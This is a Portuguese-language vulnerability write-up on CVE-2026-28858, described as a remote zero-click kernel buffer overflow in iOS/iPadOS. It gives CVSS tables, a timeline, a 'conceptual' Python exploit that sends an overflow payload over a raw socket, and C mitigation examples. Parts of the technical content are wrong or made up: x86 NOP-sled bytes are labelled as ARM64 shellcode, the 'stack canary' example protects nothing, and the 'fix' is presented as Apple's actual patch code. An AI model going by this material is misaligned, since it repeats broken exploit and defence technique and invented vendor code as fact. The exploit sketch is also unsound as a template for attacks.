
Análise técnica da CVE-2026-28858, um estouro de buffer crítico no kernel do Apple iOS/iPadOS, incluindo fluxo de exploração, mitigação e exemplos de codificação defensiva.
╔══════════════════════════════════════════════════════════════╗
║ SEVERIDADE: CRÍTICA │ CVSS: 9.8 │ CWE-120 │ REMOTO ║
╚══════════════════════════════════════════════════════════════╝
Um usuário remoto pode provocar a terminação inesperada do sistema ou corrupção de memória do kernel no iOS/iPadOS sem interação do usuário nem privilégios.
| Campo | Valor |
|---|
| CVE ID | CVE-2026-28858 |
| EUVD | EUVD-2026-15131 |
| Publicado | 25 de março de 2026 |
| Última atualização | 26 de março de 2026 |
| CVSS v3.1 | 9.8 / 10 — CRÍTICO |
| EPSS | 0.05% |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-120 — Cópia de buffer sem verificação de tamanho |
| Estado | Analisado — Patch disponível |
Estouro de buffer (Buffer Overflow) no Apple iOS e iPadOS causado por verificação de limites insuficiente no processamento de entradas do kernel.
Impacto real:
| Parâmetro | Valor | Descrição |
|---|---|---|
| Vetor de Ataque | Rede | Explorável remotamente |
| Complexidade | Baixa | Sem condições especiais |
| Privilégios Necessários | Nenhum | Não é necessária autenticação |
| Interação do Usuário | Nenhuma | Zero-click |
| Escopo | Sem alterações | Confinado ao componente vulnerável |
| Confidencialidade | Alto | Acesso completo a dados |
| Integridade | Alto | Modificação total possível |
| Disponibilidade | Alto | Crash do sistema |
Não existe exploit público para CVE-2026-28858. A seguinte representação é conceitual, baseada no CWE-120 e no vetor de ataque documentado.
# Representação conceitual do estouro
import socket
# 1. Preenchimento do buffer alocado (~512 bytes típicos em handlers de kernel)
buffer_fill = b"A" * 512
# 2. Endereço de retorno sobrescrito — aponta para zona controlada pelo atacante
# No iOS/iPadOS real: requer bypass de ASLR + PAC (Pointer Authentication Codes)
return_address = b"\x41\x42\x43\x44"
# 3. Shellcode: NOP sled + instruções maliciosas para ARM64
shellcode = b"\x90" * 16 + b"\xeb\x12..." # NOP sled + payload
payload = buffer_fill + return_address + shellcode
# Entrega remota sem interação do usuário
# Exemplo: pacote de rede com campo de comprimento manipulado
import struct
def craft_malicious_packet(target_ip: str, target_port: int):
"""
Cria um pacote com metadados malformados que o kernel
do iOS processa em segundo plano (sem UI do usuário).
Ex: certificado TLS, metadado de imagem, campo de protocolo de rede.
"""
# Cabeçalho legítimo do protocolo
header = struct.pack(">HH", 0x0001, 0xFFFF) # type=1, length=OVERFLOW
# Payload que excede o buffer do kernel
malicious_data = header + payload
with socket.socket(socket.AF_INET, socket.SOCK_RAW) as s:
s.sendto(malicious_data, (target_ip, target_port))
[Rede/WiFi/BT] → Pacote malformado
↓
[Processo iOS em segundo plano] → Lê o campo "comprimento" = 0xFFFF
↓
[memcpy(buffer_kernel, dados, 0xFFFF)] → SEM VERIFICAÇÃO DE LIMITES
↓
[Estouro: shellcode escrito sobre stack/heap do kernel]
↓
[Processador redirecionado para return_address do atacante]
↓
[Execução com ring 0 / privilégios de kernel]
/* ❌ CÓDIGO VULNERÁVEL (antes do patch) */
void processar_entrada(char *dados_usuario, size_t comprimento) {
char buffer_kernel[512];
memcpy(buffer_kernel, dados_usuario, comprimento); // SEM verificação
}
/* ✅ CÓDIGO CORRIGIDO (iOS/iPadOS 26.4) */
void processar_entrada(char *dados_usuario, size_t comprimento) {
char buffer_kernel[512];
// Verificação de limites — fix aplicado pela Apple
if (comprimento > sizeof(buffer_kernel)) {
kernel_log("CVE-2026-28858: entrada truncada [%zu > 512]", comprimento);
return; // Abortar antes de copiar
}
memcpy(buffer_kernel, dados_usuario, comprimento);
}
/* Mecanismo de defesa em profundidade: Stack Canary */
#include <string.h>
#define CANARY_VALUE 0xDEADBEEFCAFEBABE
void processar_entrada_segura(char *dados_usuario, size_t comprimento) {
uint64_t canary = CANARY_VALUE;
char buffer_seguro[512];
if (comprimento > sizeof(buffer_seguro)) {
log_security_event("Tentativa de estouro bloqueada");
return;
}
memcpy(buffer_seguro, dados_usuario, comprimento);
// Verificar integridade do canário pós-cópia
if (canary != CANARY_VALUE) {
panic("Stack smashing detectado — CVE-2026-28858");
}
}
Ação imediata necessária:
Atualizar para iOS 26.4 / iPadOS 26.4 ou posterior
23 mar 2026 → Publicação inicial (EUVD)
24 mar 2026 → Advisory Apple #126792 publicado
24 mar 2026 → Primeira menção detectada (Feedly)
24 mar 2026 → Estimativa CVSS por análise automática
25 mar 2026 → NVD atribui CVSS 9.8 — Crítico
25 mar 2026 → Detecção adicionada ao Qualys (ID: 610773)
26 mar 2026 → Estado: Analisado
Todas as versões do iOS e iPadOS anteriores a 26.4, incluindo:
Ver lista completa de CPEs afetados na documentação de referência.
| Fonte | URL |
|---|---|
| Apple Security Advisory | https://support.apple.com/en-us/126792 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-28858 |
| CWE-120 | https://cwe.mitre.org/data/definitions/120.html |
Disclaimer: O código apresentado é apenas uma representação conceitual com fins educacionais e de pesquisa defensiva. Não existe exploit público para CVE-2026-28858.